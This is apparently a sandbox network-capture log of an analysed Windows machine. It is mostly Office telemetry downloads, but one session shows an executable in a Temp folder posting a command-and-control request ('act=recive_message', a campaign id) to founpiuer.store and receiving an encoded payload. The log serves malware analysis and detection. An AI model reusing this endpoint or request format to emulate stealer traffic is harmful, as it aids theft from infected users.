2024-11-07 05:01:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:16 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:16 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:16 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 7c56904f-a01e-0053-4d5c-2e8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050116Z-15869dbbcc662ldwhC1DFWbd5g0000000170000000002rrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:16 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:16 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:16 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:16 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 34ab5445-001e-0079-1b58-2e12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050116Z-17df447cdb5w28bthC1DFWgb6400000003kg00000000mpyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:16 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:16 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:16 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:16 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 4644762d-401e-0016-6540-2e53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050116Z-15869dbbcc6rmhmhhC1DFWd7b80000000890000000003t05 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:16 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:16 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:16 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:16 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0ef5c87e-a01e-0032-285c-2e1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050116Z-17df447cdb5vq4m4hC1DFWrbp800000003r000000000h5a3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:16 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49835	104.21.5.155	443	3288	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:16 UTC	352	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=j3aUDY3aeWLdcGsJ9f5a_a2khnnbc8XpmOBYbeoSjy4-1730955676-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: founpiuer.store
2024-11-07 05:01:16 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-07 05:01:17 UTC	1010	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=30qbbq2qvfrmq1g6f30k769uh1; expires=Sun, 02-Mar-2025 22:47:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aiqyX%2FdAPAPTtaZT5WNh%2FiUIIIDQZKS2C1jamef0RlxO6eU4%2FT9Uo28zSrZIP9wD9hqIy4NxzjrNyRcvBFYCZCPK18y8PcnwIR8Ki9PpX7Mno6BkrmHHPiSOsbAxbuSDfCM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8deac3b4dc042857-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1345&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1040&delivery_rate=1972752&cwnd=250&unsent_bytes=0&cid=a530d0a1b39e18c8&ts=515&x=0"
2024-11-07 05:01:17 UTC	359	IN	Data Raw: 31 64 38 62 0d 0a 65 33 4a 41 6b 77 4f 53 34 51 5a 67 2f 56 46 61 67 36 70 2b 4b 69 37 55 4a 36 6f 4d 5a 51 78 44 77 37 6b 6d 52 56 45 50 4c 7a 55 41 55 44 61 78 4f 61 62 4e 4a 42 4f 59 63 32 44 33 32 41 74 50 41 76 5a 47 7a 69 35 66 61 69 4b 76 79 6b 4e 70 63 33 6c 43 46 30 45 55 49 66 39 77 39 38 30 6b 42 59 56 7a 59 4e 6a 52 58 45 39 41 39 68 32 49 61 51 39 75 49 71 2f 62 52 79 34 2b 66 30 4e 57 45 78 34 6e 2b 32 62 78 68 57 63 4d 6b 44 51 2f 35 73 73 55 52 45 65 35 54 38 63 75 53 53 34 6d 75 5a 73 63 5a 78 78 71 57 31 51 32 45 7a 50 34 49 65 2f 4e 66 55 4b 59 50 33 69 35 69 42 39 50 54 4c 68 42 7a 6d 63 4e 5a 43 75 6e 32 6b 49 76 49 57 5a 4a 58 52 4d 51 4a 50 70 73 2b 4a 46 71 42 70 63 2f 4f 65 7a 4c 58 41 59 4d 73 56 32 49 4e 6b 63 39 45 36 4c 4b 56 Data Ascii: 1d8be3JAkwOS4QZg/VFag6p+Ki7UJ6oMZQxDw7kmRVEPLzUAUDaxOabNJBOYc2D32AtPAvZGzi5faiKvykNpc3lCF0EUIf9w980kBYVzYNjRXE9A9h2IaQ9uIq/bRy4+f0NWEx4n+2bxhWcMkDQ/5ssUREe5T8cuSS4muZscZxxqW1Q2EzP4Ie/NfUKYP3i5iB9PTLhBzmcNZCun2kIvIWZJXRMQJPps+JFqBpc/OezLXAYMsV2INkc9E6LKV
2024-11-07 05:01:17 UTC	1369	IN	Data Raw: 70 51 34 50 66 50 44 46 55 56 42 74 6b 6a 43 59 51 52 75 4a 71 76 52 53 79 30 33 59 45 42 52 47 52 42 69 76 79 48 33 6d 79 52 61 33 78 41 39 38 63 38 51 58 67 36 4d 42 64 63 67 48 69 34 6d 72 5a 73 63 5a 7a 74 6f 54 6c 51 53 48 79 48 35 61 75 4b 44 64 67 53 53 4e 69 72 6e 7a 52 4a 43 54 36 52 50 78 6d 67 45 5a 79 71 6f 33 6b 4d 6a 63 79 4d 4e 55 41 46 51 65 72 46 41 2f 59 68 6f 43 49 67 7a 65 50 36 47 42 51 68 4c 75 67 57 51 4c 67 4e 76 4a 61 44 66 53 69 6b 33 59 55 74 5a 46 42 38 6b 2b 32 48 33 69 57 77 4b 6e 6a 34 7a 37 73 67 5a 52 55 69 77 53 63 6c 72 52 79 42 68 70 73 4d 45 66 33 4e 44 53 6c 51 4c 55 68 66 79 62 2f 36 45 63 6b 4b 41 66 53 47 68 7a 78 41 49 46 50 5a 4c 7a 57 45 56 62 7a 4f 6b 31 56 59 72 4e 6d 74 41 56 42 63 51 4a 2f 5a 73 2f 6f 56 6a Data Ascii: pQ4PfPDFUVBtkjCYQRuJqvRSy03YEBRGRBivyH3myRa3xA98c8QXg6MBdcgHi4mrZscZztoTlQSHyH5auKDdgSSNirnzRJCT6RPxmgEZyqo3kMjcyMNUAFQerFA/YhoCIgzeP6GBQhLugWQLgNvJaDfSik3YUtZFB8k+2H3iWwKnj4z7sgZRUiwSclrRyBhpsMEf3NDSlQLUhfyb/6EckKAfSGhzxAIFPZLzWEVbzOk1VYrNmtAVBcQJ/Zs/oVj
2024-11-07 05:01:17 UTC	1369	IN	Data Raw: 47 68 7a 78 41 49 46 50 5a 4a 77 57 34 4d 5a 43 57 68 33 45 6b 69 4d 47 70 4f 57 68 34 61 4c 50 5a 6c 2f 49 70 70 42 4a 38 30 50 4f 54 61 47 55 46 41 75 67 57 47 4c 67 42 32 59 66 6d 62 61 79 41 6c 62 6d 4a 55 43 42 6c 69 37 69 2f 70 77 32 4d 4f 33 32 74 34 35 73 30 55 51 30 71 2b 52 64 70 72 43 57 55 67 71 39 31 46 4b 6a 39 72 54 56 59 5a 46 69 37 78 5a 76 65 52 64 67 65 5a 49 54 4b 68 68 6c 78 50 56 50 59 64 69 46 67 58 65 54 43 33 6d 58 45 6b 50 57 4e 4b 51 56 6b 50 62 4f 67 68 39 34 38 6b 57 74 38 34 4f 4f 33 50 46 45 35 49 76 6b 72 48 5a 78 56 76 4c 61 2f 4a 51 79 63 36 59 30 4a 62 45 42 30 6c 2f 47 72 36 6a 6d 41 46 6e 6e 4e 32 6f 63 38 45 43 42 54 32 63 39 68 6a 43 30 41 71 72 64 49 45 4f 48 31 30 44 56 41 56 55 48 71 78 5a 66 79 4c 62 67 32 57 4f Data Ascii: GhzxAIFPZJwW4MZCWh3EkiMGpOWh4aLPZl/IppBJ80POTaGUFAugWGLgB2YfmbayAlbmJUCBli7i/pw2MO32t45s0UQ0q+RdprCWUgq91FKj9rTVYZFi7xZveRdgeZITKhhlxPVPYdiFgXeTC3mXEkPWNKQVkPbOgh948kWt84OO3PFE5IvkrHZxVvLa/JQyc6Y0JbEB0l/Gr6jmAFnnN2oc8ECBT2c9hjC0AqrdIEOH10DVAVUHqxZfyLbg2WO
2024-11-07 05:01:17 UTC	1369	IN	Data Raw: 59 54 6b 50 32 43 34 68 70 48 79 35 35 34 66 52 6a 45 6e 46 4d 64 78 63 47 58 6a 75 78 5a 76 7a 44 50 45 4b 54 4d 44 54 70 78 78 70 42 51 4c 78 4d 77 32 49 4d 61 69 32 6f 33 6b 49 6d 4e 6d 68 4d 55 78 55 61 4a 50 4a 69 2f 34 78 72 43 74 39 39 65 4f 62 51 58 42 41 4d 6b 31 4c 44 59 41 45 75 50 75 2f 43 42 43 41 2f 4c 52 55 58 46 52 6b 6b 39 32 54 38 67 6d 49 4b 6d 6a 73 38 34 4d 34 61 53 30 4f 79 51 4d 6c 68 41 32 49 76 71 39 70 46 4b 7a 68 69 52 6c 4a 5a 58 6d 4c 32 65 62 44 62 4a 44 4f 63 4a 53 2f 78 78 46 78 58 41 71 38 46 7a 32 4a 48 4e 6d 47 67 79 55 34 74 50 57 68 43 55 68 6f 66 4a 66 78 6e 2f 49 6c 74 43 70 6b 38 4d 66 50 4c 45 45 5a 4c 75 45 6e 47 59 77 31 74 4c 4f 47 56 42 43 41 72 4c 52 55 58 4e 52 63 76 33 32 72 38 68 43 51 64 30 53 70 34 35 73 Data Ascii: YTkP2C4hpHy554fRjEnFMdxcGXjuxZvzDPEKTMDTpxxpBQLxMw2IMai2o3kImNmhMUxUaJPJi/4xrCt99eObQXBAMk1LDYAEuPu/CBCA/LRUXFRkk92T8gmIKmjs84M4aS0OyQMlhA2Ivq9pFKzhiRlJZXmL2ebDbJDOcJS/xxFxXAq8Fz2JHNmGgyU4tPWhCUhofJfxn/IltCpk8MfPLEEZLuEnGYw1tLOGVBCArLRUXNRcv32r8hCQd0Sp45s
2024-11-07 05:01:17 UTC	1369	IN	Data Raw: 37 67 58 2b 61 52 64 2b 49 75 50 71 55 69 51 6c 5a 6b 42 62 57 51 39 73 36 43 48 33 6a 79 52 61 33 7a 55 33 36 4d 73 54 53 55 57 36 53 4d 31 6e 41 6d 38 6e 70 64 46 4f 4a 7a 56 72 54 46 49 54 45 79 50 37 61 50 65 4c 59 77 47 4e 63 33 61 68 7a 77 51 49 46 50 5a 73 7a 33 77 4a 66 6d 47 2b 6c 56 31 6e 4e 47 45 4e 44 31 6b 55 4b 50 35 6c 39 34 39 69 42 35 6b 2b 4f 65 37 4a 48 45 64 49 76 55 7a 4f 62 77 70 72 4c 4b 58 4a 54 69 77 38 59 55 52 62 46 46 42 73 73 57 62 6f 77 7a 78 43 72 6a 34 32 37 38 38 4b 43 46 50 34 58 49 68 70 43 79 35 35 34 64 70 49 4b 44 42 69 54 6c 51 59 47 6a 44 6a 62 66 6d 4c 59 51 36 55 50 54 37 7a 7a 68 4e 42 54 37 56 4d 7a 32 59 4c 5a 43 4b 6d 6d 77 70 6e 4e 48 55 4e 44 31 6b 7a 4e 65 46 73 73 4a 77 71 47 39 38 30 4e 4b 47 51 58 45 42 Data Ascii: 7gX+aRd+IuPqUiQlZkBbWQ9s6CH3jyRa3zU36MsTSUW6SM1nAm8npdFOJzVrTFITEyP7aPeLYwGNc3ahzwQIFPZsz3wJfmG+lV1nNGEND1kUKP5l949iB5k+Oe7JHEdIvUzObwprLKXJTiw8YURbFFBssWbowzxCrj42788KCFP4XIhpCy554dpIKDBiTlQYGjDjbfmLYQ6UPT7zzhNBT7VMz2YLZCKmmwpnNHUND1kzNeFssJwqG980NKGQXEB
2024-11-07 05:01:17 UTC	1369	IN	Data Raw: 32 45 4f 5a 79 57 70 32 45 51 6a 4e 32 70 49 56 42 55 62 4a 66 4a 75 39 49 70 71 43 35 42 7a 64 71 48 50 42 41 67 55 39 6d 54 54 62 51 74 6a 59 62 36 56 58 57 63 30 59 51 30 50 57 52 77 73 39 47 48 36 68 57 41 48 6d 54 6b 39 34 63 4d 66 52 30 69 77 51 63 64 75 44 47 63 67 70 39 35 4f 4c 44 56 67 54 6c 45 66 55 47 79 78 5a 75 6a 44 50 45 4b 2f 4b 44 58 74 7a 31 78 58 41 71 38 46 7a 32 4a 48 4e 6d 47 71 31 30 41 67 4d 32 42 4f 58 78 77 55 4b 50 52 68 2b 4a 46 73 41 70 67 68 4b 75 48 42 47 55 52 50 74 6b 48 4f 5a 77 46 74 4a 65 47 56 42 43 41 72 4c 52 55 58 4e 42 77 6c 32 47 62 72 77 33 74 4d 68 6e 4d 2f 37 59 68 45 43 45 32 39 54 38 64 6a 42 47 67 69 71 74 35 4f 4a 6a 52 6c 51 45 55 61 48 79 33 31 59 66 2b 46 59 67 4f 51 4e 54 2f 6f 79 52 52 50 44 50 67 46 Data Ascii: 2EOZyWp2EQjN2pIVBUbJfJu9IpqC5BzdqHPBAgU9mTTbQtjYb6VXWc0YQ0PWRws9GH6hWAHmTk94cMfR0iwQcduDGcgp95OLDVgTlEfUGyxZujDPEK/KDXtz1xXAq8Fz2JHNmGq10AgM2BOXxwUKPRh+JFsApghKuHBGURPtkHOZwFtJeGVBCArLRUXNBwl2Gbrw3tMhnM/7YhECE29T8djBGgiqt5OJjRlQEUaHy31Yf+FYgOQNT/oyRRPDPgF
2024-11-07 05:01:17 UTC	367	IN	Data Raw: 51 6d 73 64 78 54 4b 48 4d 6a 44 56 68 5a 53 42 75 78 61 50 65 59 64 52 53 53 49 7a 2b 68 39 31 49 49 56 50 59 64 69 46 73 45 59 43 2b 6d 7a 56 56 71 46 48 74 48 55 41 6b 58 4e 66 34 68 76 73 4e 69 51 73 64 67 64 71 48 4d 44 51 67 55 35 68 65 54 4f 31 51 35 63 66 50 45 43 6a 35 7a 65 77 30 50 53 31 35 69 34 79 47 6f 77 79 4d 42 6a 53 45 2b 34 74 34 66 44 33 4b 49 59 74 4a 6a 41 58 6b 77 6e 2b 56 44 50 54 35 72 57 6b 5a 56 42 53 48 2f 62 2f 65 56 4a 45 7a 66 50 48 69 35 38 56 77 41 44 49 6b 4c 69 48 5a 48 4e 6d 47 55 32 45 6f 70 4e 48 74 63 47 6a 34 4b 4c 2f 64 32 34 63 4d 71 51 70 6c 7a 59 4c 47 47 58 45 78 64 39 68 32 59 50 46 77 37 63 76 61 4c 46 6a 68 39 64 41 31 42 57 55 68 77 76 79 48 69 77 7a 78 43 32 44 41 71 38 38 34 66 58 6b 2f 78 65 2f 5a 41 41 Data Ascii: QmsdxTKHMjDVhZSBuxaPeYdRSSIz+h91IIVPYdiFsEYC+mzVVqFHtHUAkXNf4hvsNiQsdgdqHMDQgU5heTO1Q5cfPECj5zew0PS15i4yGowyMBjSE+4t4fD3KIYtJjAXkwn+VDPT5rWkZVBSH/b/eVJEzfPHi58VwADIkLiHZHNmGU2EopNHtcGj4KL/d24cMqQplzYLGGXExd9h2YPFw7cvaLFjh9dA1BWUhwvyHiwzxC2DAq884fXk/xe/ZAA
2024-11-07 05:01:17 UTC	1369	IN	Data Raw: 32 36 65 31 0d 0a 51 6a 54 55 37 39 38 74 62 64 6e 4b 31 55 38 56 68 44 47 38 66 6e 2f 56 4a 4a 6a 42 6a 44 32 59 50 48 54 4c 79 5a 50 65 39 57 67 79 59 4a 7a 2f 76 7a 68 77 49 41 76 5a 4b 69 44 59 2b 4c 6d 6e 68 35 41 70 6e 4b 79 30 56 46 79 77 54 4c 50 39 6d 35 70 49 70 49 59 6b 2b 4e 2b 72 4a 58 41 59 4d 73 41 57 51 50 6b 6b 75 4a 62 43 62 48 48 64 68 4e 68 67 45 54 6b 42 77 37 69 2f 70 77 33 4a 43 78 32 46 32 6f 64 70 63 45 41 7a 78 53 38 56 76 42 47 41 69 73 38 6c 43 4a 43 56 75 43 6d 6b 6e 4d 53 2f 36 62 66 32 4d 62 7a 79 68 45 6a 58 71 78 42 46 48 52 34 68 37 33 57 30 4a 59 43 61 33 79 67 52 70 63 32 49 4e 44 79 42 51 61 72 46 65 76 73 4e 38 51 73 64 7a 44 65 4c 47 45 6b 39 61 70 77 6a 70 59 77 78 69 4c 4b 37 51 42 47 6c 7a 61 77 30 50 53 56 35 69 Data Ascii: 26e1QjTU798tbdnK1U8VhDG8fn/VJJjBjD2YPHTLyZPe9WgyYJz/vzhwIAvZKiDY+Lmnh5ApnKy0VFywTLP9m5pIpIYk+N+rJXAYMsAWQPkkuJbCbHHdhNhgETkBw7i/pw3JCx2F2odpcEAzxS8VvBGAis8lCJCVuCmknMS/6bf2MbzyhEjXqxBFHR4h73W0JYCa3ygRpc2INDyBQarFevsN8QsdzDeLGEk9apwjpYwxiLK7QBGlzaw0PSV5i
2024-11-07 05:01:17 UTC	1369	IN	Data Raw: 52 6e 45 70 6b 77 42 74 2f 6a 45 45 35 4c 72 45 4c 4f 53 43 63 75 62 2b 48 55 42 48 38 4b 4c 51 55 58 4a 6c 35 69 36 53 47 6f 77 31 45 42 6b 54 30 2f 39 39 6c 52 62 56 75 31 56 63 35 74 52 79 42 68 70 35 73 63 64 33 30 74 53 55 5a 5a 53 48 4b 6a 4f 71 58 51 4d 31 4c 4e 4c 48 62 34 69 41 6f 49 46 4f 51 4c 69 48 78 48 4e 6d 48 6d 32 46 59 31 4e 57 35 62 56 46 34 75 48 4e 64 69 34 59 6c 46 44 34 38 30 42 74 2f 64 48 30 5a 43 73 56 50 5a 4c 6b 6b 75 4c 75 47 44 66 57 64 37 49 55 74 55 44 31 41 64 76 79 48 6f 77 7a 78 43 71 6a 41 32 37 38 38 4b 57 51 47 51 52 74 6c 6b 4a 6d 4d 78 70 70 73 4b 5a 7a 55 74 46 51 52 58 55 43 62 67 49 61 6a 54 4e 6c 6e 4b 59 47 2b 78 6d 67 4d 47 56 66 5a 54 69 44 5a 56 49 47 47 7a 6d 78 78 6e 64 47 35 66 52 52 38 54 4e 50 49 6d 7a Data Ascii: RnEpkwBt/jEE5LrELOSCcub+HUBH8KLQUXJl5i6SGow1EBkT0/99lRbVu1Vc5tRyBhp5scd30tSUZZSHKjOqXQM1LNLHb4iAoIFOQLiHxHNmHm2FY1NW5bVF4uHNdi4YlFD480Bt/dH0ZCsVPZLkkuLuGDfWd7IUtUD1AdvyHowzxCqjA2788KWQGQRtlkJmMxppsKZzUtFQRXUCbgIajTNlnKYG+xmgMGVfZTiDZVIGGzmxxndG5fRR8TNPImz

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:17 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:17 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:17 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 8f98044c-301e-006e-14bd-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050117Z-16547b76f7fj5p7mhC1DFWf8w400000007rg00000000es13 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
